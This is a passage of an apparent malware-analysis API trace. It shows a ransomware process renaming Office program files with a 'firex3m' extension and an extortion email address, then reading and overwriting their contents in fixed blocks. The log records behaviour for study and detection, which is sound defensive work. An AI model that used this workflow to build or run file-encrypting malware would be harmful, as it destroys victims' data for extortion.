lpOverlapped=0x0) returned 1 [0154.410] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.411] WriteFile (in: hFile=0x694, lpBuffer=0x7196bd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7196bd7*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.412] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.412] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0154.412] CloseHandle (hObject=0x694) returned 1 [0154.412] GetProcessHeap () returned 0x630000 [0154.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0154.412] GetProcessHeap () returned 0x630000 [0154.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0154.416] GetProcessHeap () returned 0x630000 [0154.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee2b0 | out: hHeap=0x630000) returned 1 [0154.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x21fbdd57, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7089a, dwReserved0=0xb747496, dwReserved1=0x71803a0, cFileName="POWERPNT.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5540 [0154.541] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0154.541] Sleep (dwMilliseconds=0x1) [0154.547] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE", len=0x44 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned 1 [0154.547] GetProcessHeap () returned 0x630000 [0154.547] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b84) returned 0x713f7f0 [0154.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0154.556] CloseHandle (hObject=0x710) returned 1 [0154.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.556] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12a447be, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12a447be, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1303a658, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZLIB.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZLI~1.FIR")) returned 0x6d5040 [0154.639] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0154.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzlib.accde.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0154.646] GetProcessHeap () returned 0x630000 [0154.646] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71f9160 [0154.647] GetProcessHeap () returned 0x630000 [0154.647] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0154.647] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.647] ReadFile (in: hFile=0x6e4, lpBuffer=0x71f9160, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f9160*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.001] GetProcessHeap () returned 0x630000 [0163.001] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0163.002] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.002] WriteFile (in: hFile=0x6e4, lpBuffer=0x719ec10*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.002] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.002] WriteFile (in: hFile=0x6e4, lpBuffer=0x71aa00f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa00f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0163.003] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.003] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0163.003] CloseHandle (hObject=0x6e4) returned 1 [0163.003] GetProcessHeap () returned 0x630000 [0163.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0163.004] GetProcessHeap () returned 0x630000 [0163.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f9160 | out: hHeap=0x630000) returned 1 [0163.004] GetProcessHeap () returned 0x630000 [0163.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0163.004] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0163.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12a447be, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12a447be, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x271c3784, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1fe024, dwReserved0=0xb747496, dwReserved1=0x71f9158, cFileName="ACWZLIB.ACCDE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZLI~1.FIR")) returned 0x6d53c0 [0163.004] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0163.004] Sleep (dwMilliseconds=0x1) [0164.588] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.588] GetProcessHeap () returned 0x630000 [0164.588] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bf4) returned 0x707d3d0 [0164.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1044\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0165.871] CloseHandle (hObject=0x4e0) returned 1 [0165.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1044\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1044\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0170.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0170.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5440 [0170.469] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0170.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1044\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0170.469] GetProcessHeap () returned 0x630000 [0170.469] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f6b050 [0170.470] GetProcessHeap () returned 0x630000 [0170.470] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f76480 [0170.471] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.471] ReadFile (in: hFile=0x4e0, lpBuffer=0x6f6b050, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6b050*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.869] GetProcessHeap () returned 0x630000 [0178.869] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0178.869] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.869] WriteFile (in: hFile=0x4e0, lpBuffer=0x6f76480*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f76480*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.870] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.870] WriteFile (in: hFile=0x4e0, lpBuffer=0x6f8187f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8187f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.870] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.870] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.870] CloseHandle (hObject=0x4e0) returned 1 [0178.871] GetProcessHeap () returned 0x630000 [0178.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f76480 | out: hHeap=0x630000) returned 1 [0178.871] GetProcessHeap () returned 0x630000 [0178.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f6b050 | out: hHeap=0x630000) returned 1 [0178.872] GetProcessHeap () returned 0x630000 [0178.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0178.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3090ec26, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112e4, dwReserved0=0xb747496, dwReserved1=0x6f6b048, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4f80 [0178.872] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0178.872] Sleep (dwMilliseconds=0x1) [0181.953] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr", len=0x54 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr") returned 1 [0181.953] GetProcessHeap () returned 0x630000 [0181.953] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a98) returned 0x707d3d0 [0181.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqread.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0181.954] CloseHandle (hObject=0x6e8) returned 1 [0181.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0181.954] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqread.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqread.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0181.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0181.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3fdb4, dwReserved0=0x7408cab6, dwReserved1=0x690066, cFileName="TellMeOutlookMeetingReqRead.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE1F32~1.FIR")) returned 0x6d5400 [0181.955] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0181.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqread.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0181.956] GetProcessHeap () returned 0x630000 [0181.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0181.956] GetProcessHeap () returned 0x630000 [0181.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0181.957] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.957] ReadFile (in: hFile=0x6e8, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0189.975] GetProcessHeap () returned 0x630000 [0189.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0189.975] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.975] WriteFile (in: hFile=0x6e8, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0189.975] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.975] WriteFile (in: hFile=0x6e8, lpBuffer=0x72c389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c389f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.977] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.977] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.977] CloseHandle (hObject=0x6e8) returned 1 [0189.977] GetProcessHeap () returned 0x630000 [0189.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0189.978] GetProcessHeap () returned 0x630000 [0189.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0189.978] GetProcessHeap () returned 0x630000 [0189.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0189.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x372db669, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3fdd8, dwReserved0=0xb747496, dwReserved1=0x719ec08, cFileName="TellMeOutlookMeetingReqRead.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE1F32~1.FIR")) returned 0x6d53c0 [0189.978] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0189.978] Sleep (dwMilliseconds=0x1) [0189.993] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF", len=0x4a | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF") returned 1 [0189.993] GetProcessHeap () returned 0x630000 [0189.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2968) returned 0x707d3d0 [0189.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir51f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0189.994] CloseHandle (hObject=0x6e8) returned 1 [0189.994] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir51f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir51f.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae23ccd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae23ccd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1179, dwReserved0=0x0, dwReserved1=0x0, 